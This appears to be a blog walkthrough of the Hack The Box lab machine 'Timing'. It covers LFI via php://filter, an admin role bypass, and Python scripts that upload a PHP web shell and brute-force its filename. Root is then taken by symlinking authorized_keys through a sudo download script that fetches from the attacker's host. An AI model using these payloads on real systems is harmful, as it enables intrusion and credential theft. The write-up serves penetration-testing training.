Posts Timing HTB Walkthrough
Post
Cancel

Timing HTB Walkthrough

Machine Info

  • OS: Linux
  • Difficulty: Medium
  • Points: 30
  • Release: 11 Dec 2021
  • IP: 10.10.11.135

Network Scanning

We have only two open ports ssh:22 and http:80

1
nmap -p- -T4 -A 10.10.11.135

nmap

Enumeration

We go to the website and it gives us a login page but we don’t have any credentials to use yet.

login

We run gobuster to find any other directories or files. We got a group of php files with response code 200 and 302 and three directories with a forbiden access.

1
gobuster dir -u http://10.10.11.135/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x php,html

gobuster

While we are accessing image.php, we got a blank page. We think that there is perhaps a GET parameter missing.

image.php

Therefore, we run ffuf for fuzzing to figure out that GET parameter which may lead us to LFI vulnerability. We got “img” parameter.

1
ffuf -u http://10.10.11.135/image.php?FUZZ=/etc/passwd -w /usr/share/wordlists/dirb/common.txt -mc 200 -c -fs 0

ffuf

Exploitation

We check if that “img” parameter is vulnerable to LFI or not by trying to read “/etc/passwd” and it responds to us with “Hacking attempt detected!” which is a sign of there is an input filter used.

1
http://10.10.11.135/image.php?img=/etc/passwd

lfi_test

We bypass that filter by the help of php filter wrapper “php://filter” LFI/RFI Using PHP Wrappers. Then, we decode that base64 block and we got the “/etc/passwd” file. We notice that there is a user called “aaron”.

1
2
http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd
echo <base64> | base64 -d

passwd_base64 base64_decode

We spent awhile trying to figure out where we can find aaron’s password and it ended up with why we don’t give the default credentials a try. We go back to the login page “login.php”, then try to use the default credentials of aaron “aaron:aaron” and it works. As well as, we tried to use the same credentials for ssh login but it failed.

login user2

We continue our enumeration trying to utilize the LFI vulnerability to read the source code of web files. Starting by checking “login.php” file, we notice that there is a “role” value that assigned to the superglobal variable “$_SESSION” throughout the login process.

1
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=login.php | base64 -d

login.php

Also as a result of gobuster, we have “upload.php” and “profile.php” files. Let’s give them a try to look over their source code. While checking “upload.php” file, at the first line there is “admin_auth_check.php” file included. Checking that file, it checks if the role value not set or not equal to 1 then go back to “index.php” and terminate the session.

1
2
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=upload.php | base64 -d
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=admin_auth_check.php | base64 -d

upload.php admin_auth_check.php

For “profile.php” file, it includes a javascript file “js/profile.js”. That javascript file accesses an another php file “profile_update.php”.

1
2
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=profile.php | base64 -d
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=js/profile.js | base64 -d

profile.php profile.js

We take a look over “profile_update.php” file. We notice that there is a check for POST parameter value $_POST[‘role’] then that value is assigned to $_SESSION. Now we are sure that we need to add a role parameter and set its value to 1 to our POST request so we can access the admin panel.

1
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=profile_update.php | base64 -d

profile_update.php burp

Now we have an access to admin panel that includes an upload image feature.

admin_panel

Back to “upload.php” file source code. It only accepts an image file with jpg extension and upload it to directory “images/uploads/”. The name of uploaded image is about md5 hash of ‘$file_hash’ concatenated with the return value of time() function. Notice that the $file_hash is quoted by single quote not double quotes which means that $file_hash value doesn’t get evaluated. Then, concatenate the hash value with underscore “_” and the file name (e.g. hashValue_fileName.jpg).

1
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=upload.php | base64 -d

upload.php

Now we need to exploit the upload image feature. We wrote an exploit in python that automates the process of uploading and accessing our backdoor to the webserver. The exploit is divided into two files “hashes_creation.py” which is creating a pool of hashes then by trial and error trying to access the uploaded backdoor and the other file is “image_upload.py” which is responsible for uploading the backdoor image.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# hashes_creation.py

import time
import hashlib
import requests
import sys
import termcolor

hashes = []


def hashes_creation():
    print(termcolor.colored("[+] Creating Hashes ...", "green"))
    for i in range(1, 9):
        file_hash = '$file_hash'
        time_var = str(int(time.time()))
        result = hashlib.md5(str(file_hash + time_var).encode()).hexdigest()
        print("Hash = " + result)
        hashes.append(result)
        time.sleep(1.2)
    return hashes


def image_access():
    url1 = 'http://10.10.11.135/images/uploads/'
    url2 = 'http://10.10.11.135/image.php?img=images/uploads/'

    for hash in hashes:
        response1 = requests.get(url1 + str(hash) + "_backdoor.jpg")
        if response1.ok:
            print(termcolor.colored("[+] Backdoor has been accessed successfully.", "green"))
            print(termcolor.colored("[!] \"quit\" or \"exit\" to terminate program.", "green"))
            while True:
                try:
                    cmd = input(termcolor.colored("cmd: ", "blue"))
                    response2 = requests.get(url2 + str(hash) + "_backdoor.jpg" + "&cmd=" + cmd)
                    if cmd == "quit" or cmd == "exit":
                        sys.exit()
                except KeyboardInterrupt:
                    sys.exit()
                else:
                    print(response2.text)
        else:
            print(termcolor.colored("[!] Trying access backdoor ...", "yellow"))

    print(termcolor.colored("[-] Backdoor access has been failed.", "red"))


hashes_creation()
image_access()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# image_upload.py

import requests


def image_upload():
    url = 'http://10.10.11.135/upload.php'
    cookies = {"PHPSESSID": "34aq98pvlb4u36gqupfmmup0as"}
    headers = {"Host": "10.10.11.135", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 "
                                                     "Firefox/78.0",
               "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate",
               "Content-Type": "multipart/form-data; "
                               "boundary=---------------------------73468468424512948262231270173",
               "Origin": "http://10.10.11.135", "Connection": "close",
               "Referer": "http://10.10.11.135/avatar_uploader.php"}
    data = "-----------------------------73468468424512948262231270173\r\nContent-Disposition: form-data; " \
           "name=\"fileToUpload\"; filename=\"backdoor.jpg\"\r\nContent-Type: image/jpg\r\n\r\n<?php system($_GET[" \
           "cmd]); ?>\r\n\r\n-----------------------------73468468424512948262231270173-- "
    response = requests.post(url, headers=headers, cookies=cookies, data=data)

    if response.ok:
        print(response.text)
    else:
        print("Upload failed")


image_upload()

exploit.py

Privilege Escalation

Aaron user

We create our backdoor image then we run hashes_creation.py first then upload_image.py. After awhile we are able to execute commands over the server as “www-data” user. Then while enumerating over the system files and directories, we find that there is a “source_files_backup.zip” at /opt directory. We download it to our local machine and unzip it.

1
2
3
4
5
6
7
8
9
10
echo '<?php system($_GET[cmd]);?>' >> backdoor.jpg
python3 hashes_creation.py
python3 image_upload.py

# On timing machine
ls /opt
cp /opt/source_files_backup.zip .

# On local machine
wget http://10.10.11.135/source_files_backup.zip

backup_file

After unzipping it, it includes a hidden git directory where we can use git bash commands for enumeration. We find that there is an updated file called “db_conn.php” that contains an updated password.

1
2
3
ls -la
git log
git show

backup_file

We used both of the found passwords to login to ssh as root but it failed. We try the same passwords for aaron user to login to ssh and the password of “S3cr3t_unGu3ss4bl3_p422w0Rd” works successfully. As well as, we got the user flag.

1
2
3
ssh aaron@10.10.11.135
ls
cat user.txt

user.txt

Root

Now it’s time to escalate our privileges to root. Before going to linpeas, we check our sudo rights. We find a bash script “/usr/bin/netutils” that we can run as root. That script is using ftp or http service to download file to aaron’s home directory.

1
2
3
4
sudo -l
file /usr/bin/netutils
cat /usr/bin/netutils
sudo /usr/bin/netutils

sudo_l

We create a file named “mykeys” with a symbolic link to “/root/.ssh/authorized_keys” and on our local machine we copy id_rsa.pub to new file named “mykeys”. Then we run the bash script “netutils” to download “mykeys” file from our local machine which it overwrites the “mykeys” file that resides at arron’s home directory and consequently it overwrites “/root/.ssh/authorized_keys” because of the symbolic link permission. After that we try to login to ssh as root by the private key “id_rsa” and it works. As well as, we got the root flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# On timing machine
ln -s /root/.ssh/authorized_keys mykeys
ls -l

# On local machine
cd ~/.ssh
cp id_rsa.pub mykeys
python3 -m http.server 80

# On timing machine
sudo /usr/bin/netutils
1
10.10.16.21/mykeys
2

# On local machine
ssh root@10.10.11.135 -i /root/.ssh/id_rsa
ls
cat root.txt

root.txt

This post is licensed under CC BY 4.0 by the author.
Contents